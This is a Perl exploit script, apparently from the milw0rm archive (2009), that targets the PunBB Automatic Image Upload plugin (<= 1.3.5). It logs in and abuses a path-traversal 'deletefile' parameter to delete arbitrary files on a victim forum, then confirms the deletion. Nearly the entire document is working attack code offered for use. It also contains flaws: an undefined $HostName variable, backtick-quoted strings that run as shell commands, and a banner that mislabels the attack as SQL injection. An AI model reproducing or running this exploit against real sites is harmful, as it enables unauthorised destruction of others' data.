PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit#!/usr/bin/perl
#[0-Day] PunBB Automatic Image Upload <= v1.3.5 Delete Arbitrary File Vulnerability
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Works only if '$Allow_Delete[] = `[USERGROUP]`;' is not commented in `uploadimg_config.php` [FIND LINE: 75]. Example:
#//$Allow_Delete[] = `Members`; => $Allow_Delete[] = `Members`;

use LWP::UserAgent;
use HTTP::Cookies;

my ($UserName,$PassWord,$DirectoryFile,$DeleteFile) = @ARGV;

if(@ARGV < 4){
    &amp;usage();
    exit();
}

my $Message = ``;
my $Host = `http://www.victime_site.org/path/`; #Insert Victime Web Site Link
my $Referrer = `http://www.warwolfz.com/`;

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
        ) or die $!;

sub Login(){
    my $Login = $UserAgent->post($HostName.'/login.php?action=in',
                [
                    form_sent        => '1',
                    redirect_url    => 'index.php',
                    req_username    => $UserName,
                    req_password    => $PassWord,
                    login => 'Login',
                ]) || die $!;

    if($Login->content =~ /Logged in /i){
        return 1;
    }else{
        return 0;
    }
}

if (Login() == 1){
    $Message = ` * Logged in as: ` . $UserName;
}elsif (Login() == 0){
    $Message = ` * Login Failed.`;
}

my $Get = $UserAgent->get($HostName.`./uploadimg_view.php?view=gallery&amp;p=1&amp;deletefile=./`.$DirectoryFile.`/`.$DeleteFile);
my $GetFile = $UserAgent->get($HostName.`./uploads/`.$DirectoryFile.$DeleteFile);

if($Get->content =~ /<b>Warning<\/b>: /i){
    refresh($Message, $HostName, ``, ``);
    print ` * Error deleting sensible data.\n`;
    print ` * Exploit Failed                                     *\n`;
    print ` ------------------------------------------------------ \n\n`;
}elsif ($GetFile->as_string =~ /404 Not Found/i){
    refresh($Message, $HostName, $DirectoryFile, $DeleteFile);
    print ` * File Deleted                                       *\n`;
    print ` * Exploit Successed                                  *\n`;
    print ` ------------------------------------------------------\n\n`;
    system(`pause`);
}else{
    refresh($Message, $HostName, ``, ``);
    print ` * General Error. Maybe the file was deleted the same ;)\n`;
    print ` * Control manually: `.$HostName.`./uploads/`.$DirectoryFile.$DeleteFile.`\n`;
    print ` * Error deleting sensible data.\n`;
    print ` * Exploit Failed                                     *\n`;
    print ` ------------------------------------------------------ \n\n`;
}

sub usage{
    system(`cls`);
    {
        print ` \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit\n`;
        print ` ------------------------------------------------------ \n`;
        print ` * USAGE:                                             *\n`;
        print ` * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n`;
        print ` * perl name_exploit.pl [id]                          *\n`;
        print ` ------------------------------------------------------ \n`;
        print ` *         Powered By Dante90, WaRWolFz Crew          *\n`;
        print ` * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n`;
        print ` ------------------------------------------------------ \n`;
    };
    exit;
}

sub refresh{
    system(`cls`);
    {
        print ` \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit\n`;
        print ` ------------------------------------------------------ \n`;
        print ` * USAGE:                                             *\n`;
        print ` * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n`;
        print ` * perl name_exploit.pl [id]                          *\n`;
        print ` ------------------------------------------------------ \n`;
        print ` *         Powered By Dante90, WaRWolFz Crew          *\n`;
        print ` * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n`;
        print ` ------------------------------------------------------ \n`;
    };
    print $_[0] .`\n`;
    print ` * Victime Site: ` . $_[1] . `\n`;
    print ` * Directory: ` . $_[2] . `\n`;
    print ` * File: ` . $_[3] . `\n`;
}

#WaRWolFz Crew

# milw0rm.com [2009-07-27]